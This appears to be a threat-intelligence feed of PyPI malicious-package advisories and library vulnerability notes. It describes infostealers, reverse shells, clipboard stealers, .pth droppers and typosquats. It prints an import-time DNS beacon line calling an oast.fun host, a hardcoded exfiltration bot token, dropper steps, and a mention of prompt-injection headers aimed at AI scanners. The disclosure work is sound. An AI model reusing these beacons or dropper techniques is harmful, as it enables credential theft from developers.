Threats tagged 'pypi'

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c11c80cc2d314460d61a649c84fd75881388470382be8183b77b362e562a5c7f) On `import nagios_xi`, the package's `__init__.py` (lines 5-8) invokes `socket.gethostbyname("atlass-check.autaeqjhfowvnnmkwhxjtq8x39d8nder1.oast.fun")` inside a silent try/except. oast.fun is ProjectDiscovery's Interactsh out-of-band callback service; the DNS query itself is the exfiltration channel, confirming code execution on the installer's host and leaking the resolver IP to whoever controls the unique 32-character Interactsh subdomain. The package ships no actual functionality — it impersonates the Nagios XI commercial monitoring product (name `nagios-xi`, version `19.5.0` mimicking real Nagios XI versioning) while declaring an anonymous ProtonMail author (`Coding Team <pocbug@protonmail.com>`), a generic `package utility` description, and an empty README. The combination of brand impersonation, placeholder metadata, and an import-time OAST beacon as the package's sole behavior is reconnaissance for a supply-chain attack against developers searching for Nagios XI integrations. ## Source: kam193 (d8b27c2588accf4f2966f4630a12f9bfdc4ba621403f14237160632447152f23) Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities. Campaign: GENERIC-standard-pypi-install-pentest Reasons (based on the campaign): - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. - The package overrides the install command in setup.py to execute malicious code during installation.

Keras versions prior to 3.14.0 are vulnerable to a path traversal issue in the archive extraction utilities located in `keras/src/utils/file_utils.py`. The functions `filter_safe_tarinfos()` and `filter_safe_zipinfos()` validate archive member paths against the process current working directory (CWD) instead of the actual extraction destination. When the process runs with CWD set to `/`, which is common in Docker containers, CI/CD runners, and Jupyter environments, the validation boundary becomes the filesystem root, allowing traversal paths to bypass the security check. Additionally, the zip filter contains a bug that causes an `AttributeError` when a blocked entry is encountered, leading to incomplete extraction. Furthermore, Python 3.11 installations lack the `filter="data"` safety net, leaving them entirely reliant on the flawed CWD-based filter. Exploitation of this vulnerability can result in arbitrary file writes outside the intended extraction directory, enabling attackers to overwrite configuration files, inject malicious code, or corrupt machine learning datasets and pipelines.

The telegramlite package on PyPI versions 1.0.0 and 1.0.1 contains malicious code that exfiltrates data from the Telegram application to a remote location. This behavior effectively collects Telegram sessions, posing a direct threat to user privacy and security. No install-time or runtime suspicious behaviors were initially detected by automated tools, but manual analysis confirmed the data exfiltration. This package is categorized as malicious with clear intent to steal information.

The hello-dynamic PyPI package versions 0.1.0, 0.1.1, and 0.1.2 are near-empty packages with minimal functionality but include a setup configuration that points to an external webhook URL. This behavior is consistent with reconnaissance activity to test which installers still process legacy dependency_links entries. The package does not contain code for exfiltration, remote code execution, credential theft, or persistence. It appears to be a low-risk pentest or research artifact rather than an active malicious threat.

The requests-toolbelt-plus package on PyPI is a malicious package impersonating the legitimate requests-toolbelt library. During installation, it executes code that checks if the environment is Windows Subsystem for Linux (WSL). If so, it connects to a hardcoded attacker IP, sends system information, and establishes a persistent reverse shell via modifications to the user's .bashrc file. This allows full remote command execution and persistent access on affected developer machines running WSL.

LMDeploy is a toolkit for compressing, deploying, and serving large language models. In versions 0.12.3 and prior, hardcoded "trust_remote_code=True" enables HF supply-chain RCE without user opt-in. Version 0.13.0 patches the issue.

The PyPI package 'dstill' version 0.3.0 contains malicious code disguised as a Roblox DataStore library. Upon import, it executes a multi-stage Windows infostealer that steals Roblox cookies and Discord tokens by decrypting stored credentials and exfiltrates them to hardcoded endpoints. It also kills Discord processes to facilitate token theft and installs persistence mechanisms using Windows Defender exclusions and scheduled tasks with Microsoft-lookalike paths to evade detection. The package includes Russian/Ukrainian comments indicating stealth and anti-AV intent.

A path traversal vulnerability was found in awxkit, the CLI tool for AWX. The YAML !include directive does not sanitize file paths, allowing an attacker to craft a malicious YAML file that reads arbitrary YAML-formatted files from the local filesystem when a user imports it using "awx --conf.format yaml import". This is a client-side vulnerability requiring user interaction.

The Apache Airflow Samba provider's `GCSToSambaOperator` joined GCS object names to the SMB destination path without a containment check, so an object named with `../` segments resolved a write path outside the configured `destination_path`. An attacker able to write objects into the source GCS bucket — typically an external data producer distinct from the trusted DAG author — could write files to arbitrary locations on the Samba target when the operator ran. Upgrade apache-airflow-providers-samba to 4.12.6 or later, which validates the resolved destination stays within `destination_path`.

The spaysrbx PyPI package version 0.3.0 contains malicious code that steals Roblox session cookies and Discord tokens from infected Windows machines. Upon import, it exfiltrates these credentials to a hardcoded Discord webhook, kills Discord processes to facilitate token theft, and establishes persistence by copying itself and setting a registry autorun key. The package falsely advertises itself as a Roblox DataStore utility but contains no legitimate functionality.

A sophisticated supply chain attack campaign has expanded to 471 affected artifacts across npm and PyPI, targeting developers through malicious packages. The campaign uses three distinct delivery methods: executable .pth startup hooks, trojanized native .abi3.so extensions that execute at import time, and a split loader-payload architecture that searches Python's sys.path. Twenty-three newly identified PyPI packages masquerade as bioinformatics tools, AI frameworks, and popular libraries like requests and Flask. The attack deploys heavily obfuscated JavaScript stealers via Bun runtime, harvesting high-value credentials including GitHub tokens, npm registry access, cloud credentials, SSH keys, and CI/CD secrets. The malware employs anti-analysis techniques with fake LLM prompt-injection headers designed to disrupt AI-assisted security scanners, while targeting developer workstations and automated build environments.

The xforpy package on PyPI versions 0.0.1 through 0.0.4 contains malicious code that initiates a reverse shell upon import. This behavior allows an attacker to execute arbitrary commands on the victim's machine. The package is classified as malicious with clear intent to compromise systems. No official patch or remediation is currently documented.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (06e89dc9ff0a5d334b67a01c572c036b0740adf6d8669d2fa25c241a0c098116) The package advertises itself as a Bittensor subnet burn-rate monitor but bundles a covert clipboard surveillance daemon in its compiled core module (bittensor_burn_watch/core.cpython-310-*.so). When the user runs the documented `bittensor-burn-alert install` command, the daemon installs persistence across all major operating systems — Windows Task Scheduler, Linux systemd user service, and macOS LaunchAgent — and starts polling the clipboard on every login. Clipboard contents are read via Win32 API on Windows (with a PowerShell fallback), `wl-paste --watch` on Wayland, and `xclip` on X11; the Linux path scrapes DISPLAY/DBUS_SESSION_BUS_ADDRESS from the active graphical session and auto-installs `wl-clipboard`/`xclip` if missing. Each unique clipboard string (deduplicated via SQLite) is POSTed to `https://api.telegram.org` against a hardcoded bot token (8666228137) and chat ID (8766781014) shipped in `bittensor_burn_watch/defaults.env`. A comment inside the compiled binary explicitly labels these credentials as 'Bundled clipboard Telegram + taostats API (all pip users; not user-editable)' — the exfiltration channel is intentionally separated from the user-facing `BURN_TELEGRAM_*` configuration so installers cannot redirect or disable it. The binary further notes 'no window flash' / 'no taskbar flash' to evade user awareness. The Bittensor-themed naming targets TAO subnet operators, whose clipboards routinely carry wallet seed phrases, addresses, and API keys. ## Source: kam193 (fe199e0ca267ae05d6213339b5d925218af5b5c2d884dfb4c74bc99b81a19c0f) The package contains code to steal clipboard content to a predefined remote location. If run in the right way, the code will periodically check the clipboard and if the content matches the pattern, exfiltrates it. Early versions contain this behavior mentioned in the README. The targeted data are likely cryptocurrency secret phrases. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-06-clip-logger Reasons (based on the campaign): - clipboard-stealing - crypto-related

The spaysdatarbx package on PyPI is a malicious Windows infostealer disguised as a Roblox DataStore library. Upon import, it silently executes code that steals Roblox session cookies and browser-stored Discord tokens by decrypting them using Windows DPAPI and sends this data to a hardcoded Discord webhook. It also forcibly terminates Discord to access locked tokens and establishes persistence by copying itself to the user's AppData folder and creating a registry autostart entry. The package contains no legitimate Roblox DataStore functionality and is purely designed for credential theft and persistence.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6c30f8b1a160c72529e2671b81be13ea671302e9bc3915ee84bd2212e0fdd5a3) The package name and module structure impersonate the official `openai` Python SDK (the package even rewrites exported classes' `__module__` attribute to `"openai"` in `openai_mcp/__init__.py`). Alongside the cloned SDK, it ships `openai-setup.pth`, which Python auto-loads on every interpreter start. The.pth file contains a single-line, heavily aliased `exec()` payload (single-letter names like `_O`, `_T`, `_u`, `_s`, `_b`, `_z`) that: (1) checks a one-shot guard `/tmp/.bun_ran`, (2) downloads the Bun JavaScript runtime from `https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-<platform>-<arch>.zip` to `/tmp/b/bun` and chmods it executable, (3) locates a sibling `_index.js` on `sys.path`, and (4) runs `bun run _index.js`. Because.pth files execute at every Python startup (not just at install), every `python` invocation after `pip install openai-mcp` downloads an alien runtime and executes the package's JavaScript payload through it — an alternate-runtime dropper that evades Python-only scanners. The obfuscation, one-shot guard, identity spoofing, and runtime-laundering together establish clear malicious intent. ## Source: kam193 (f7597f40e5a7af25ae5f07e34310df24ac3284b9e0cadcb013a9c155384e9100) Typosquatting package published from a compromised account with an embedded infostealer. The infostealer is a heavily obfuscated JavaScript code executed using Bun runtime on Python startup. It collects all kinds of sensitive data, including API keys, credentials to package repositories, cryptocurrency assets, password manager data. Infostealer actively queries online services to collect additional secrets as well as attempts to gain persistence and spread further by publishing infected packages using collected credentials. Data are exfiltrated likely using Github. The code seems to threaten to wipe the user's data if it detects invalid GitHub tokens. Cleanup should be done with caution. It seems to be related to the recent Mini Shai Hulud campaign. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-06-compr-woodpecker Reasons (based on the campaign): - compromised-package - exfiltration-env-variables - exfiltration-cloud-tokens - exfiltration-credentials - abuses-pth - obfuscation - infostealer - The package contains code to detect if it is running in a sandbox environment. - exfiltration-crypto - files-exfiltration - destructive-actions

The tiktoken-mcp package on PyPI is a malicious typosquatting package impersonating the legitimate OpenAI tiktoken package. It includes a .pth file that executes obfuscated JavaScript code via the Bun runtime on every Python interpreter start. This code downloads the Bun runtime, searches for attacker-controlled JavaScript files on sys.path, and executes them, enabling stealthy execution outside Python inspection. The package acts as an infostealer, collecting sensitive data such as API keys, credentials, cryptocurrency assets, and password manager data, and attempts persistence and propagation by publishing infected packages. It may also perform destructive actions if invalid GitHub tokens are detected. The affected versions are 0.13.1 and 0.13.2.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ae87e0c65760999b8ff4e28d11505b15a71a1a46dd8d761122e3d9d8e2cd85b6) The package is published as 'tlask', a single-character edit of the widely used 'flask' package on PyPI. Metadata and module contents are copied verbatim from Pallets' Flask: METADATA Summary reads 'A simple framework for building complex web applications.', Project-URLs point to flask.palletsprojects.com and github.com/pallets/flask, and entry_points.txt declares 'flask=flask.cli:main'. The source files under tlask/ match Flask's own modules. No installer-harmful payload was identified — no network I/O, no exec/eval, no install or import-time hooks, no credential reads, and no lifecycle scripts that would execute attacker-controlled code on `pip install`. The risk is name-confusion: a developer who types `pip install tlask` rather than `pip install flask` receives a near-identical Flask clone they did not intentionally select, and the entry_points.txt also installs a `flask` console script that could shadow the real Flask CLI in some environments. Because the package contains no exfiltration, dropper, silent-relay, or credential-distribution behavior, naming-similarity alone is a subjective signal that warrants human review rather than an automatic block. ## Source: kam193 (2b3ae446f7b8d808b84c157ec455883e0bc45e4f4180e51c5cd42ff9852712a2) Typosquatting package published from a compromised account with an obfuscated infostealer. The infostealer is a heavily obfuscated JavaScript code executed using Bun runtime on Python startup. It collectes all kinds of sensitive data, including API keys, credentials to package repositories, cryptocurrency assets, password manager data. Infostealer actively queries online services to collect additional secrets as well as attempts to gain persistence and spread further by publishing infected packages using collected credentials. Data are exfiltrated likely using Github. The code seems to threaten to wipe the user's data if it detects invalid GitHub tokens. Cleanup should be done with caution. It seems to be related to the recent Mini Shai Hulud campaign. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-06-compr-woodpecker Reasons (based on the campaign): - compromised-package - exfiltration-env-variables - exfiltration-cloud-tokens - exfiltration-credentials - abuses-pth - obfuscation - infostealer - The package contains code to detect if it is running in a sandbox environment. - exfiltration-crypto - files-exfiltration - destructive-actions

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (89a034f9ba4356799034d728884eccecf5c53779d85280556419cda38e671a30) The package name 'rlask' is a single-character edit of the popular 'flask' package. METADATA declares 'Maintainer-email: Pallets <contact@palletsprojects.com>', and entry_points.txt registers 'flask=flask.cli:main' rather than an rlask-specific entry — indicating the distribution is a verbatim repackaging of Flask 3.1.x source while falsely advertising Pallets maintainership. The exported API (Flask, Blueprint, Config, request, session, etc.) mirrors Flask's surface. No exfiltration, install-time hooks, subprocess execution, credential reads, or outbound network I/O were observed in the shipped code. The risk is name confusion plus forged maintainer identity: a developer who mistypes 'pip install flask' as 'pip install rlask' receives a package that shadows the real Flask, controlled by an author who is not Pallets and could push a malicious update at any time. Routing to human review per the typosquat handling discipline — name-confusion judgments and impersonated-maintainer attributions should be confirmed by a human before publication. ## Source: kam193 (baacd735e23c83962845507427fa53c89bdc2e8e0456dbbce6f00a91bf4fe002) Typosquatting package published from a compromised account with an obfuscated infostealer. The infostealer is a heavily obfuscated JavaScript code executed using Bun runtime on Python startup. It collectes all kinds of sensitive data, including API keys, credentials to package repositories, cryptocurrency assets, password manager data. Infostealer actively queries online services to collect additional secrets as well as attempts to gain persistence and spread further by publishing infected packages using collected credentials. Data are exfiltrated likely using Github. The code seems to threaten to wipe the user's data if it detects invalid GitHub tokens. Cleanup should be done with caution. It seems to be related to the recent Mini Shai Hulud campaign. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-06-compr-woodpecker Reasons (based on the campaign): - compromised-package - exfiltration-env-variables - exfiltration-cloud-tokens - exfiltration-credentials - abuses-pth - obfuscation - infostealer - The package contains code to detect if it is running in a sandbox environment. - exfiltration-crypto - files-exfiltration - destructive-actions

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e2041887c315474d0722cbf717e189ec1260e209c5f00da5ca3a52a60c6aebb2) The package name `rsquests` is a single-character insertion typo of the top-100 PyPI package `requests`. Package metadata and source are a verbatim copy of upstream `requests`: `rsquests/__version__.py` sets `__title__ = "requests"`, METADATA lists `Author-email: Kenneth Reitz <me@kennethreitz.org>`, and `top_level.txt` declares the top-level package as `requests` (so `import requests` after installing `rsquests` resolves to this package's bundled copy, shadowing the real upstream if it isn't installed). The full public API (get/post/put/delete/Session/...) is replicated, so a developer who mistypes `pip install requests` as `pip install rsquests` gets working behavior and may not notice the substitution. No exfiltration, RCE, dropper, credential harvest, or silent-relay payload is present in this version — the install-time and import-time code paths match the upstream library. The risk is name-confusion plus future-version risk: the squatted name normalizes the typo and provides a vector if a later release introduces a malicious payload. Routing to human review per typosquat-without-payload policy — name-similarity is a subjective signal and the absence of a current payload means this does not meet the bar for an automated block. ## Source: kam193 (b32959e10bc6b1df57d105a5e5d74cbe7b69660cb7a1e78185d3f5e0e0f07e10) Typosquatting package published from a compromised account with an obfuscated infostealer. The infostealer is a heavily obfuscated JavaScript code executed using Bun runtime on Python startup. It collectes all kinds of sensitive data, including API keys, credentials to package repositories, cryptocurrency assets, password manager data. Infostealer actively queries online services to collect additional secrets as well as attempts to gain persistence and spread further by publishing infected packages using collected credentials. Data are exfiltrated likely using Github. The code seems to threaten to wipe the user's data if it detects invalid GitHub tokens. Cleanup should be done with caution. It seems to be related to the recent Mini Shai Hulud campaign. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-06-compr-woodpecker Reasons (based on the campaign): - compromised-package - exfiltration-env-variables - exfiltration-cloud-tokens - exfiltration-credentials - abuses-pth - obfuscation - infostealer - The package contains code to detect if it is running in a sandbox environment. - exfiltration-crypto - files-exfiltration - destructive-actions

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (34db1950ee9bdf9c75ae9bb2436085bbb443107321d8d7056a0bf3b8fae36978) The package is published as 'nhmpy' on PyPI but its contents are a verbatim copy of NumPy 2.4.6: the same source tree, docstrings, and license files. The distribution metadata falsely identifies the package as authored by 'Travis E. Oliphant et al.' and maintained by 'NumPy Developers <numpy-discussion@python.org>', with Project-URL pointing at https://numpy.org. Internal modules still import from the real 'numpy' namespace (e.g., nhmpy/__init__.py line 788: `from numpy._pytesttester import PytestTester`), so the package masquerades as numpy and depends on numpy being installed alongside it. The current 2.4.6 contents do not execute install scripts, perform network I/O at import, or contain obfuscated code — there is no active exfiltration or RCE payload in this version. However, the name is a one-character edit from 'numpy' (a top-tier PyPI package) and the metadata is deliberately deceptive about authorship, which is the precondition for a future malicious release under the same name. Routing for human review of the name-confusion claim and possible registry takedown. ## Source: kam193 (0b2d6b794431c52ef6b905eb676d70274a792cbca1b266a3405734a7a900860b) Typosquatting package published from a compromised account with an obfuscated infostealer. The infostealer is a heavily obfuscated JavaScript code executed using Bun runtime on Python startup. It collectes all kinds of sensitive data, including API keys, credentials to package repositories, cryptocurrency assets, password manager data. Infostealer actively queries online services to collect additional secrets as well as attempts to gain persistence and spread further by publishing infected packages using collected credentials. Data are exfiltrated likely using Github. The code seems to threaten to wipe the user's data if it detects invalid GitHub tokens. Cleanup should be done with caution. It seems to be related to the recent Mini Shai Hulud campaign. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-06-compr-woodpecker Reasons (based on the campaign): - compromised-package - exfiltration-env-variables - exfiltration-cloud-tokens - exfiltration-credentials - abuses-pth - obfuscation - infostealer - The package contains code to detect if it is running in a sandbox environment. - exfiltration-crypto - files-exfiltration - destructive-actions